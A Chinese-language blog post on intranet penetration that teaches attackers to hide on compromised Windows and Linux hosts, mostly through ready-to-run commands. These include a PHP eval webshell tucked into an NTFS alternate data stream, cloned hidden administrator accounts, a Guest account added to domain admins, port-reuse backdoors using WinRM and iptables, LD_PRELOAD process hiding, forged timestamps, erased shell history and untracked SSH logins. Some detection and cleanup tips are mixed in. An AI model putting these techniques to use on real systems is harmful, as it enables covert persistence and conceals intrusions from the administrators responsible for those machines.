HacKerQWQ的博客空间

内网渗透之Linux及Windows隐藏篇

Word count: 3.7kReading time: 14 min
2022/01/12 Share

Windows隐藏篇

隐藏文件

1、利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。

img

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

img

  • 如何真正隐藏文件?

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

1
attrib +s +a +h +r D:\test\project\test.txt

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

  • 破解隐藏文件:

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

img

2、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:  

1
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。 

1
2
3
4
5
6
7
问题1:如何查看index.php:hidden.jpg内容呢?

   进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r
  
问题2:如何删除index.php:hidden.jpg?

直接删除index.php即可

3、驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: http://www.xoslab.com/efl.html

调成这样就成功隐藏了文件

image-20220123223905167

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:

1
2
3
4
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

1
2
3
4
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。

隐藏账号

手动添加克隆账号

window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。

img

PS:CMD命令行使用”net user”,看不到”test$”这个账号,但在控制面板和本地用户和组是可以显示此用户的。

克隆账号制作过程:

1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。

img

2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。

img

3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。

img

4、分别test$和“000003EC导出到桌面,删除test$用户 net user test$ /del

img

5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。

exe一键创建影子账号

项目地址:https://github.com/wgpsec/CreateHiddenAccount

使用:

1
CreateHiddenAccount_v0.2.exe -u test -p test@123k

image-20220726112809503

1
2
Import-Module Create-Clone.ps1
Create-Clone -u evi1cg -p evi1cg123 -cu administrator

激活Guest账号

启用Guest账号的好处是隐蔽性高

启用步骤:

1
2
3
4
net user guest /active:yes # 激活guest用户
net user guest AAaa1234 # 更改guest用户密码
net localgroup administrators guest /add # 添加到本地组
net group "domain admins" Guest /add /domain # 加入域管组(如果权限够高的话)

一顿操作之后在域管机器上面看已经将guest添加到domain admins

image-20220312223930559

辨认的方法也很简单,看是否启用即可

image-20220312223538297

image-20220312223838883

检测和清理方法

  • 使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

img

  • PCHunter

    image-20220312230001045

  • 查看注册表

    1
    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

    image-20220312223055526

  • 查看删除账号

    可能存在攻击者利用过的账号被删除了,但是漏洞依旧存在

    路径:

    1
    HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/ProfileList

    image-20220312222705705

  • 查看用户组

    1
    net localgroup administrators

    image-20220312225039822

  • 查看安全日志

    image-20220312230323538

端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:

1
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:

img

当执行这条命令的同时,将在安全日志中留下痕迹,

img

另外,可以通过代码实现端口复用重定向,工具:https://github.com/crabkun/Switcher

进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?

1、meterpreter会话注入

当前权限无法获取hash值,查看目前系统进程

img

通过migrate将进程注入到system进程后,成功获得hash值。

img

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。

img

2、Empire会话进程注入

通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:

img

Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

img

img

3、Cobalt Strike进程注入

选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。

img

img

Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。

img

Metasploit注入 dll

https://blog.csdn.net/Fly_hps/article/details/80427707

几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。

https://blog.csdn.net/qq_33020901/article/details/89504902

Linux隐藏篇

隐藏文件

  • 方法一
    比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
1
2
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
  • 方法二
    在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
    是文件的话浏览器访问直接输 … 就行,目录同理。

    1
    2
    touch … 创建名字为 … 的文件
    mkdir … 创建名字为 … 的文件夹

隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

1
touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

1
touch -t 1401021042.30 webshell.php

隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。

1
2
3
4
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件

img

隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

1
2
[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

1
2
[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

1
history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

1
history -d [num]

img

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

1
sed -i '150,$d' .bash_history

隐藏远程SSH登陆记录

隐身登录系统,不会被w、who、last等指令检测到。

1
ssh -T root@127.0.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

1
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS(需要选用没有使用的端口)

1
2
3
4
5
6
7
8
9
#安装SSLH
sudo apt-get install sslh
#配置SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
1、找到下列行:Run=no 将其修改为:Run=yes
2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
service sslh start

image-20220123200702056

然后ssh连接443即可

1
ssh -T root@172.17.0.2 -p 443 /bin/bash -i

image-20220123211439768

第二种方式:利用IPTables进行端口复用

1
2
3
4
5
6
7
8
9
10
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

攻击机:

1
2
3
4
5
6
#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

img

具体文章详见:远程遥控 IPTables 进行端口复用

进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法:libprocesshider

github项目地址:https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下

1
2
3
4
5
6
7
8
# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
# 隐藏的进程名在processhider.c中,可以自行修改
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试:运行 evil_script.py,

img

此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。

img

如何在Linux中发现隐藏的进程,

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。

下载地址:http://www.unhide-forensics.info/

1
2
3
4
# 安装
sudo yum install unhide
# 使用
unhide [options] test_list

使用unhide proc发现隐藏进程evil_script.py,如下图所示:

img

第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址: https://github.com/gaffe23/linux-inject.git

1
2
3
4
5
6
7
# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so

验证进程注入成功,如下图所示:

img

Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。

下载地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/

1
2
3
4
5
# 下载解压
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz
#
cd cymothoa-1-beta && make
CATALOG
  1. 1. Windows隐藏篇
    1. 1.1. 隐藏文件
    2. 1.2. 隐藏账号
      1. 1.2.1. 手动添加克隆账号
      2. 1.2.2. exe一键创建影子账号
      3. 1.2.3. 激活Guest账号
      4. 1.2.4. 检测和清理方法
    3. 1.3. 端口复用
    4. 1.4. 进程注入
    5. 1.5. Metasploit注入 dll
  2. 2. Linux隐藏篇
    1. 2.1. 隐藏文件
    2. 2.2. 隐藏文件时间戳
    3. 2.3. 隐藏权限
    4. 2.4. 隐藏历史操作命令
    5. 2.5. 隐藏远程SSH登陆记录
    6. 2.6. 端口复用
    7. 2.7. 进程隐藏